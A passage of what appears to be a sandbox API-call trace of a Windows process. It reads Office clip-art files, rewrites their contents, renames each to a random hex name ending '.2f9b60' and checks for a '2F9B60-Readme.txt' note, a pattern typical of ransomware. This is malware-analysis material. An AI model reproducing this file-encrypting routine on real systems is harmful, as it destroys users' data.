nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2706f8d0, lpOverlapped=0x0 | out: lpBuffer=0x1673a0*, lpNumberOfBytesWritten=0x2706f8d0*=0x10a, lpOverlapped=0x0) returned 1 [0135.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97260 [0135.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d5f0 [0135.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262090 [0135.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262090) returned 1 [0135.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0135.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262090 [0135.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261880 [0135.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261880) returned 1 [0135.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d5f0) returned 1 [0135.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0135.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0030 [0135.650] sprintf (in: _Dest=0x1cda0030, _Format="%c%c" | out: _Dest="e9") returned 2 [0135.650] sprintf (in: _Dest=0x1cda0032, _Format="%c%c" | out: _Dest="cf") returned 2 [0135.650] sprintf (in: _Dest=0x1cda0034, _Format="%c%c" | out: _Dest="9d") returned 2 [0135.650] sprintf (in: _Dest=0x1cda0036, _Format="%c%c" | out: _Dest="fc") returned 2 [0135.650] sprintf (in: _Dest=0x1cda0038, _Format="%c%c" | out: _Dest="00") returned 2 [0135.650] sprintf (in: _Dest=0x1cda003a, _Format="%c%c" | out: _Dest="3d") returned 2 [0135.650] sprintf (in: _Dest=0x1cda003c, _Format="%c%c" | out: _Dest="fa") returned 2 [0135.650] sprintf (in: _Dest=0x1cda003e, _Format="%c%c" | out: _Dest="f4") returned 2 [0135.650] sprintf (in: _Dest=0x1cda0040, _Format="%c%c" | out: _Dest="94") returned 2 [0135.650] sprintf (in: _Dest=0x1cda0042, _Format="%c%c" | out: _Dest="99") returned 2 [0135.650] sprintf (in: _Dest=0x1cda0044, _Format="%c%c" | out: _Dest="e2") returned 2 [0135.650] sprintf (in: _Dest=0x1cda0046, _Format="%c%c" | out: _Dest="96") returned 2 [0135.650] sprintf (in: _Dest=0x1cda0048, _Format="%c%c" | out: _Dest="bd") returned 2 [0135.650] sprintf (in: _Dest=0x1cda004a, _Format="%c%c" | out: _Dest="a5") returned 2 [0135.650] sprintf (in: _Dest=0x1cda004c, _Format="%c%c" | out: _Dest="40") returned 2 [0135.650] sprintf (in: _Dest=0x1cda004e, _Format="%c%c" | out: _Dest="9d") returned 2 [0135.651] sprintf (in: _Dest=0x1cda0050, _Format="%c%c" | out: _Dest="ef") returned 2 [0135.651] sprintf (in: _Dest=0x1cda0052, _Format="%c%c" | out: _Dest="2a") returned 2 [0135.651] sprintf (in: _Dest=0x1cda0054, _Format="%c%c" | out: _Dest="aa") returned 2 [0135.651] sprintf (in: _Dest=0x1cda0056, _Format="%c%c" | out: _Dest="08") returned 2 [0135.651] sprintf (in: _Dest=0x1cda0058, _Format="%c%c" | out: _Dest="c4") returned 2 [0135.651] sprintf (in: _Dest=0x1cda005a, _Format="%c%c" | out: _Dest="52") returned 2 [0135.651] sprintf (in: _Dest=0x1cda005c, _Format="%c%c" | out: _Dest="42") returned 2 [0135.651] sprintf (in: _Dest=0x1cda005e, _Format="%c%c" | out: _Dest="71") returned 2 [0135.651] RtlInitAnsiString (in: DestinationString=0x2706f948, SourceString="e9cf9dfc003dfaf49499e296bda5409def2aaa08c4524271" | out: DestinationString="e9cf9dfc003dfaf49499e296bda5409def2aaa08c4524271") [0135.651] RtlAnsiStringToUnicodeString (in: DestinationString=0x2706f918, SourceString="e9cf9dfc003dfaf49499e296bda5409def2aaa08c4524271", AllocateDestinationString=1 | out: DestinationString="e9cf9dfc003dfaf49499e296bda5409def2aaa08c4524271") returned 0x0 [0135.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced8ec0 [0135.651] wcscat (in: _Dest=0x20509030, _Source="e9cf9dfc003d" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\e9cf9dfc003d") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\e9cf9dfc003d" [0135.651] wcscat (in: _Dest=0x20509030, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\e9cf9dfc003d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\e9cf9dfc003d.2f9b60" [0135.652] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\e9cf9dfc003d.2f9b60", NtPathName=0x2706f8f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\e9cf9dfc003d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0135.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050bcc0 [0146.861] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bcc0) returned 1 [0146.861] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20293530) returned 1 [0146.861] NtQueryInformationFile (in: FileHandle=0x1c48, IoStatusBlock=0x2706f958, FileInformation=0x2706f968, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2706f958, FileInformation=0x2706f968) returned 0x0 [0146.862] NtSetInformationFile (FileHandle=0x1c48, IoStatusBlock=0x2706f958, FileInformation=0x2706f968, Length=0x28, FileInformationClass=0x4) returned 0x0 [0146.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20509030) returned 1 [0146.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8ec0) returned 1 [0146.973] FlushFileBuffers (hFile=0x1c48) returned 1 [0146.998] CloseHandle (hObject=0x1c48) returned 1 [0147.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x2050b4f0 [0147.000] wcscpy (in: _Dest=0x2050b4f0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0147.000] wcscat (in: _Dest=0x2050b4f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0147.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0147.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b4f0) returned 1 [0147.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86bc10) returned 1 Thread: id = 1765 os_tid = 0x1790 [0132.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299763.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299763.wmf")) returned 0x20 [0133.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299763.WMF", dwFileAttributes=0x20) returned 1 [0133.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299763.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299763.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1da4 [0136.693] GetFileSizeEx (in: hFile=0x1da4, lpFileSize=0x27b7fe00 | out: lpFileSize=0x27b7fe00*=17186) returned 1 [0136.694] SetFilePointerEx (in: hFile=0x1da4, liDistanceToMove=0x431e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.694] ReadFile (in: hFile=0x1da4, lpBuffer=0x27b7fd80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27b7fdc8, lpOverlapped=0x0 | out: lpBuffer=0x27b7fd80*, lpNumberOfBytesRead=0x27b7fdc8*=0x4, lpOverlapped=0x0) returned 1 [0136.716] SetFilePointerEx (in: hFile=0x1da4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a590 [0136.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a500 [0136.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a650 [0136.716] NtQuerySystemTime (in: CurrentTime=0x27b7fcc0 | out: CurrentTime=0x27b7fcc0*=132462177419518000) returned 0x0 [0136.716] RtlRandomEx (in: Seed=0x27b7fcb0 | out: Seed=0x27b7fcb0) returned 0x6b03f568 [0136.716] RtlRandomEx (in: Seed=0x27b7fcb0 | out: Seed=0x27b7fcb0) returned 0x3eb36422 [0136.716] RtlRandomEx (in: Seed=0x27b7fcb0 | out: Seed=0x27b7fcb0) returned 0x5e60a093 [0136.716] RtlRandomEx (in: Seed=0x27b7fcb0 | out: Seed=0x27b7fcb0) returned 0x1e08e589 [0136.717] RtlRandomEx (in: Seed=0x27b7fcb0 | out: Seed=0x27b7fcb0) returned 0x59a9905 [0136.717] RtlRandomEx (in: Seed=0x27b7fcb0 | out: Seed=0x27b7fcb0) returned 0x5fa1e4a9 [0136.717] RtlRandomEx (in: Seed=0x27b7fcb0 | out: Seed=0x27b7fcb0) returned 0x2049355 [0136.717] RtlRandomEx (in: Seed=0x27b7fcb0 | out: Seed=0x27b7fcb0) returned 0x67ced7b [0136.717] RtlRandomEx (in: Seed=0x27b7fcb0 | out: Seed=0x27b7fcb0) returned 0x53b287de [0136.717] RtlRandomEx (in: Seed=0x27b7fcb0 | out: Seed=0x27b7fcb0) returned 0xbf1a2c0 [0136.717] RtlRandomEx (in: Seed=0x27b7fcb0 | out: Seed=0x27b7fcb0) returned 0x79b8be64 [0136.717] RtlRandomEx (in: Seed=0x27b7fcb0 | out: Seed=0x27b7fcb0) returned 0x185f5a3a [0136.717] RtlRandomEx (in: Seed=0x27b7fcb0 | out: Seed=0x27b7fcb0) returned 0x316ad659 [0136.717] RtlRandomEx (in: Seed=0x27b7fcb0 | out: Seed=0x27b7fcb0) returned 0x6ee796b3 [0136.717] RtlRandomEx (in: Seed=0x27b7fcb0 | out: Seed=0x27b7fcb0) returned 0x393a9913 [0136.717] RtlRandomEx (in: Seed=0x27b7fcb0 | out: Seed=0x27b7fcb0) returned 0x1b213d69 [0136.717] RtlRandomEx (in: Seed=0x27b7fcb0 | out: Seed=0x27b7fcb0) returned 0x31e7c0ce [0136.717] RtlRandomEx (in: Seed=0x27b7fcb0 | out: Seed=0x27b7fcb0) returned 0xabda14e [0136.717] RtlRandomEx (in: Seed=0x27b7fcb0 | out: Seed=0x27b7fcb0) returned 0x556e0530 [0136.717] RtlRandomEx (in: Seed=0x27b7fcb0 | out: Seed=0x27b7fcb0) returned 0x35db324c [0136.717] RtlRandomEx (in: Seed=0x27b7fcb0 | out: Seed=0x27b7fcb0) returned 0x7d3a3c62 [0136.717] RtlRandomEx (in: Seed=0x27b7fcb0 | out: Seed=0x27b7fcb0) returned 0x7f673e22 [0136.717] RtlRandomEx (in: Seed=0x27b7fcb0 | out: Seed=0x27b7fcb0) returned 0x2bb5597e [0136.717] RtlRandomEx (in: Seed=0x27b7fcb0 | out: Seed=0x27b7fcb0) returned 0x3f49ec7b [0136.717] RtlRandomEx (in: Seed=0x27b7fcb0 | out: Seed=0x27b7fcb0) returned 0x724b3ef6 [0136.717] RtlRandomEx (in: Seed=0x27b7fcb0 | out: Seed=0x27b7fcb0) returned 0x10cf26bd [0136.717] RtlRandomEx (in: Seed=0x27b7fcb0 | out: Seed=0x27b7fcb0) returned 0x24119db3 [0136.717] RtlRandomEx (in: Seed=0x27b7fcb0 | out: Seed=0x27b7fcb0) returned 0x28042a6d [0136.717] RtlRandomEx (in: Seed=0x27b7fcb0 | out: Seed=0x27b7fcb0) returned 0x59a9905 [0136.717] RtlRandomEx (in: Seed=0x27b7fcb0 | out: Seed=0x27b7fcb0) returned 0x405442db [0136.717] RtlRandomEx (in: Seed=0x27b7fcb0 | out: Seed=0x27b7fcb0) returned 0xf11df32 [0136.717] RtlRandomEx (in: Seed=0x27b7fcb0 | out: Seed=0x27b7fcb0) returned 0x44a0f1d4 [0136.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a680 [0136.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060830 [0136.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a320 [0136.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060830) returned 1 [0136.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a650) returned 1 [0136.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a590) returned 1 [0136.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203190f0 [0136.728] SetFilePointerEx (in: hFile=0x1da4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.728] ReadFile (in: hFile=0x1da4, lpBuffer=0x203190f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x27b7fd20, lpOverlapped=0x0 | out: lpBuffer=0x203190f0*, lpNumberOfBytesRead=0x27b7fd20*=0x3c00, lpOverlapped=0x0) returned 1 [0136.737] SetFilePointerEx (in: hFile=0x1da4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0136.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060830 [0136.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a650 [0136.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a650) returned 1 [0136.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20320910 [0136.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a650 [0136.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a0e0 [0136.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a0e0) returned 1 [0136.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060830) returned 1 [0136.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0136.739] WriteFile (in: hFile=0x1da4, lpBuffer=0x20320910*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x27b7fd20, lpOverlapped=0x0 | out: lpBuffer=0x20320910*, lpNumberOfBytesWritten=0x27b7fd20*=0x3c00, lpOverlapped=0x0) returned 1 [0136.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20320910) returned 1 [0136.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203190f0) returned 1 [0136.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4205a0e0 [0136.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0136.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0136.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a0b0 [0136.762] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a0b0) returned 1 [0136.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4205a0b0 [0136.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a5f0 [0136.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a5c0 [0136.762] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a5c0) returned 1 [0136.762] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0136.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0136.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1674c0 [0136.763] SetFilePointerEx (in: hFile=0x1da4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0136.763] WriteFile (in: hFile=0x1da4, lpBuffer=0x1674c0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x27b7fdd0, lpOverlapped=0x0 | out: lpBuffer=0x1674c0*, lpNumberOfBytesWritten=0x27b7fdd0*=0x10a, lpOverlapped=0x0) returned 1 [0136.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0136.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0136.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a5c0 [0136.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a5c0) returned 1 [0136.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0136.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a5c0 [0136.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4d0 [0136.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4d0) returned 1 [0136.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0136.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0136.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9eab0 [0136.767] sprintf (in: _Dest=0x1cd9eab0, _Format="%c%c" | out: _Dest="4b") returned 2 [0136.767] sprintf (in: _Dest=0x1cd9eab2, _Format="%c%c" | out: _Dest="ef") returned 2 [0136.767] sprintf (in: _Dest=0x1cd9eab4, _Format="%c%c" | out: _Dest="9f") returned 2 [0136.767] sprintf (in: _Dest=0x1cd9eab6, _Format="%c%c" | out: _Dest="2f") returned 2 [0136.767] sprintf (in: _Dest=0x1cd9eab8, _Format="%c%c" | out: _Dest="f0") returned 2 [0136.767] sprintf (in: _Dest=0x1cd9eaba, _Format="%c%c" | out: _Dest="a5") returned 2 [0136.767] sprintf (in: _Dest=0x1cd9eabc, _Format="%c%c" | out: _Dest="fb") returned 2 [0136.767] sprintf (in: _Dest=0x1cd9eabe, _Format="%c%c" | out: _Dest="ff") returned 2 [0136.767] sprintf (in: _Dest=0x1cd9eac0, _Format="%c%c" | out: _Dest="0a") returned 2 [0136.767] sprintf (in: _Dest=0x1cd9eac2, _Format="%c%c" | out: _Dest="82") returned 2 [0136.767] sprintf (in: _Dest=0x1cd9eac4, _Format="%c%c" | out: _Dest="7d") returned 2 [0136.767] sprintf (in: _Dest=0x1cd9eac6, _Format="%c%c" | out: _Dest="25") returned 2 [0136.767] sprintf (in: _Dest=0x1cd9eac8, _Format="%c%c" | out: _Dest="4b") returned 2 [0136.768] sprintf (in: _Dest=0x1cd9eaca, _Format="%c%c" | out: _Dest="ad") returned 2 [0136.768] sprintf (in: _Dest=0x1cd9eacc, _Format="%c%c" | out: _Dest="be") returned 2 [0136.768] sprintf (in: _Dest=0x1cd9eace, _Format="%c%c" | out: _Dest="62") returned 2 [0136.768] sprintf (in: _Dest=0x1cd9ead0, _Format="%c%c" | out: _Dest="3d") returned 2 [0136.768] sprintf (in: _Dest=0x1cd9ead2, _Format="%c%c" | out: _Dest="6a") returned 2 [0136.768] sprintf (in: _Dest=0x1cd9ead4, _Format="%c%c" | out: _Dest="1b") returned 2 [0136.768] sprintf (in: _Dest=0x1cd9ead6, _Format="%c%c" | out: _Dest="4b") returned 2 [0136.768] sprintf (in: _Dest=0x1cd9ead8, _Format="%c%c" | out: _Dest="ed") returned 2 [0136.768] sprintf (in: _Dest=0x1cd9eada, _Format="%c%c" | out: _Dest="1e") returned 2 [0136.768] sprintf (in: _Dest=0x1cd9eadc, _Format="%c%c" | out: _Dest="05") returned 2 [0136.768] sprintf (in: _Dest=0x1cd9eade, _Format="%c%c" | out: _Dest="cb") returned 2 [0136.768] RtlInitAnsiString (in: DestinationString=0x27b7fe48, SourceString="4bef9f2ff0a5fbff0a827d254badbe623d6a1b4bed1e05cb" | out: DestinationString="4bef9f2ff0a5fbff0a827d254badbe623d6a1b4bed1e05cb") [0136.768] RtlAnsiStringToUnicodeString (in: DestinationString=0x27b7fe18, SourceString="4bef9f2ff0a5fbff0a827d254badbe623d6a1b4bed1e05cb", AllocateDestinationString=1 | out: DestinationString="4bef9f2ff0a5fbff0a827d254badbe623d6a1b4bed1e05cb") returned 0x0 [0136.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9780 [0136.769] RtlFreeAnsiString (AnsiString="4") [0136.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9eab0) returned 1 [0136.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0136.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a5c0) returned 1 [0136.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1674c0) returned 1 [0136.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a0b0) returned 1 [0136.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a5f0) returned 1 [0136.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a0e0) returned 1 [0136.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a650) returned 1 [0136.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a500) returned 1 [0136.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a680) returned 1 [0136.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a320) returned 1 [0136.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x20506770 [0136.770] wcscat (in: _Dest=0x20506770, _Source="4bef9f2ff0a5" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\4bef9f2ff0a5") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\4bef9f2ff0a5" [0136.770] wcscat (in: _Dest=0x20506770, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\4bef9f2ff0a5.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\4bef9f2ff0a5.2f9b60" [0136.770] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\4bef9f2ff0a5.2f9b60", NtPathName=0x27b7fdf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\4bef9f2ff0a5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0136.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050bc10 [0136.771] NtSetInformationFile (FileHandle=0x1da4, IoStatusBlock=0x27b7fe90, FileInformation=0x2050bc10, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0137.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bc10) returned 1 [0137.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20291460) returned 1 [0137.413] NtQueryInformationFile (in: FileHandle=0x1da4, IoStatusBlock=0x27b7fe58, FileInformation=0x27b7fe68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x27b7fe58, FileInformation=0x27b7fe68) returned 0x0 [0137.413] NtSetInformationFile (FileHandle=0x1da4, IoStatusBlock=0x27b7fe58, FileInformation=0x27b7fe68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0138.977] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506770) returned 1 [0138.977] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9780) returned 1 [0138.977] FlushFileBuffers (hFile=0x1da4) returned 1 [0138.978] CloseHandle (hObject=0x1da4) returned 1 [0139.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86be50 [0139.127] wcscpy (in: _Dest=0x1b86be50, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0139.127] wcscat (in: _Dest=0x1b86be50, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0139.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0139.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86be50) returned 1 [0139.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b8b0) returned 1 Thread: id = 1766 os_tid = 0x1794 [0132.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300520.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300520.gif")) returned 0x20 [0133.013] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300520.GIF", dwFileAttributes=0x20) returned 1 [0133.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300520.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300520.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1db0 [0136.735] GetFileSizeEx (in: hFile=0x1db0, lpFileSize=0x27c8f9a0 | out: lpFileSize=0x27c8f9a0*=13413) returned 1 [0136.735] SetFilePointerEx (in: hFile=0x1db0, liDistanceToMove=0x3461, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.735] ReadFile (in: hFile=0x1db0, lpBuffer=0x27c8f920, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27c8f968, lpOverlapped=0x0 | out: lpBuffer=0x27c8f920*, lpNumberOfBytesRead=0x27c8f968*=0x4, lpOverlapped=0x0) returned 1 [0136.741] SetFilePointerEx (in: hFile=0x1db0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a0e0 [0136.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a530 [0136.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) 